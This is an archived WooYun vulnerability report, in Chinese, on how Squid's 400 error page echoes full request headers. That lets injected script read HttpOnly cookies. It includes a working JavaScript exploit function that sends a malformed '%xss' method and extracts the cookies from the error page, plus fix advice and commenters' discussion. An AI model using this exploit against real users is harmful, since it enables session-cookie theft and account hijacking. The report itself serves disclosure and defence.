当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025343

漏洞标题:利用squid轻松获取经http only保护的cookie内容

相关厂商:SQUID

漏洞作者: nyannyannyan

提交时间:2013-06-07 14:10

修复时间:2013-09-05 14:11

公开时间:2013-09-05 14:11

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Squid cache(简称为Squid)是一个流行的自由软件(GNU通用公共许可证)的代理服务器和Web缓存服务器。Squid有广泛的用途,从作为网页服务器的前置cache服务器缓存相关请求来提高Web服务器的速度,到为一组人共享网络资源而缓存万维网,域名系统和其他网络搜索,到通过过滤流量帮助网络安全,到局域网通过代理上网。Squid主要设计用于在Linux一类系统运行。
现在成为XSS的帮凶有木有= =

详细说明:

发现这个漏洞的缘起在于一次XSS...
成功插入代码以后发现目标cookie是HTTP-Only的...
按说,到这时候应当放弃了...但是啊...我们大学有个神奇的cache服务器叫做squid...
研究了一下....发现结合squid的错误机制是可以做到bypass http-only的
我们的目标错误是400: Bad Request
这个错误最容易通过浏览器Ajax触发(触发方式将在下面说明)
对应的错误模板文件为errors/en/ERR_INVALID_REQ
让我们打开看一下....虽说习惯很不好....居然只有一行....
不过重整一下还是很快找到了关键的部位

p1.JPG


这个%R是什么意思呢
http://wiki.squid-cache.org/Features/CustomErrors#ERR_.2A_template_codes_for_embedding
看看这里
%R
Full HTTP Request
全部Request啊...那么意味着发出的cookie也可以方便的获取....不管是不是http-only的
试一下...
使用的网络是某大学的网络,squid版本为2.6/STABLE21
(有点老了,但是刚刚拖了最新的3.3.5版本下来看,这个问题没有被修过)

p2.JPG


随便用一个网站,我用的是百度...这有俩httponly的cookie
然后构造畸形ajax请求

p3.JPG


关键就在于那个%号
这会让squid认为这是一个不合法的request method从而抛出bad request
拿一下请求头

p4.JPG


然后发现httponly的SSUDB和SSUDBTSP就这样拿到了
顺便吐槽一下百度,尼玛BDUSS和SSUDB是一样的内容你SSUDB是httponly的有毛意义
危害及局限:
1.XSS的大帮凶,httponly就这样轻轻松松bypass
2.主要适用于定点打击吧...不过写一小段脚本探测一下内网环境也是可以的
3.https协议下的请求因为不走cache服务器当然是拿不到的了
综上所述,自评10rank
最后送上一小段exploit

function getCookieOrHeader(){
var res= document.cookie;
//Test Squid
var r;
if(window.XMLHttpRequest) {
r = new XMLHttpRequest();
}
else {
try {
r = new ActiveXObject("Msxml2.XMLHTTP");
}
catch(e) {
r = new ActiveXObject("Microsoft.XMLHTTP");
}
}
r.open('%xss', '/', false);
r.send();
if(r.status == 400 && r.responseText.search("squid") != -1) {
var s = r.responseText.search(/<pre>/ig) + 6;
var l = r.responseText.search(/<\/pre>/ig) - s;
res = r.responseText.substr(s, l);
}
return res;
}

漏洞证明:

p2.JPG


p3.JPG


p4.JPG

修复方案:

首先我是建议squid开发者避免在错误页面里面包含过于详细的请求头
其次希望使用squid的团体或个人在生产环境时一定要自定义错误页面方式敏感信息外泄

版权声明:转载请注明来源 nyannyannyan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-06-07 14:12 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    马克,强势关注

  2. 2013-06-07 15:34 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:218 | 于是我们奋力向前游,逆流而上的小舟,不停...)

    表示关注!!

  3. 2013-06-07 16:37 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    纳尼?

  4. 2013-06-07 16:46 | 叶问 ( 路人 | Rank:4 漏洞数:3 | 华师 QQ695033480)

    划时代啊

  5. 2013-06-07 16:56 | nyannyannyan ( 路人 | Rank:10 漏洞数:3 | 蒟蒻一枚)

    表示不用那么激动= =使用还是有限制...和之前apache的洞其实并没什么不同...不过某些公司会用squid搭对外网的代理...还是有一点用处的- -

  6. 2013-06-07 20:10 | laterain ( 路人 | Rank:0 漏洞数:1 | Just For Fun.)

    看过defcon上有过用squid来实现botnet的方法,大概思路就是用squid搭免费代理,然后squid插xss,别人通过代理访问就被xss,黑得妹子果照一大片。。。。虽然我看不到洞主用的什么方法,但应该还是和这个差不多吧^_^

  7. 2013-06-07 20:28 | nyannyannyan ( 路人 | Rank:10 漏洞数:3 | 蒟蒻一枚)

    @laterain 怎么说呢....其实完全不同....如果是botnet的话...完全不用xss吧....流量什么的直接就抓下来了嘛= =

  8. 2013-07-09 22:05 | nyannyannyan ( 路人 | Rank:10 漏洞数:3 | 蒟蒻一枚)

    @xsser往squid的mailing-list发过邮件后,刚刚收到了回复Thank you for the report. We have been aware of the problem for some time and have already fixed two aspects of it in the currently supported Squid versions.All of the recent releases should be responding to blocked methods with "405 Method Not Allowed" which error page does not contain any of the headers.NP: Thank you for highlighting that % code is not being permitted when it should be, that is a regular bug.Other ways of getting the "400 Bad Request" error page with header snippets in current releases having their HTTP security credentials elided. Headers such as Cookie are not supposed to be containing any sensitive information as they are vulnerable to cross-site delivery, replication, replay, caching. It is a systemic vulnerability to send sensitive information in such headers. We can take no responsibility for such brokenness in website code, nor is it practical to have Squid dig down into such headers and guess at what may or may not be sensitive.If you are aware of a site still using Squid-2.7 and squid-3.1, please advise them they are vulnerable to this and several other far more major security vulnerabilities.Cheers看来最新的release已经修正了一部分问题是不是算已经认领?

  9. 2013-07-09 22:07 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @nyannyannyan 算 :) 回头整理到国际版本去 谢谢!

  10. 2013-07-09 22:16 | nyannyannyan ( 路人 | Rank:10 漏洞数:3 | 蒟蒻一枚)

    最后对这个洞补充一句...developer的回邮表示存在着其他引发400 Bad Request的方法,而且他们认为squid是不会为此负责的....所以大家可以尝试挖一下还有没有别的方法引发400错误..

  11. 2013-11-13 13:32 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

    @xsser wooyun国际版在哪里????